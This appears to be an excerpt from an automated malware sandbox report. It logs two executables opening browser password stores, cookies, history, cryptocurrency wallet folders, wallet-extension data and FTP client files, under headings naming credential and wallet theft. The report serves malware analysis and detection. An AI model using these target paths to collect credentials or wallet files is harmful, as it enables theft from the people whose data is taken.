Source: file.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: efe6fe4127.exe, 0000000C.00000003.2836024588.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2221768283.0000000000A69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: efe6fe4127.exe, 0000000C.00000003.2836024588.0000000001A56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: file.exe, 00000000.00000003.2209806548.0000000000A76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
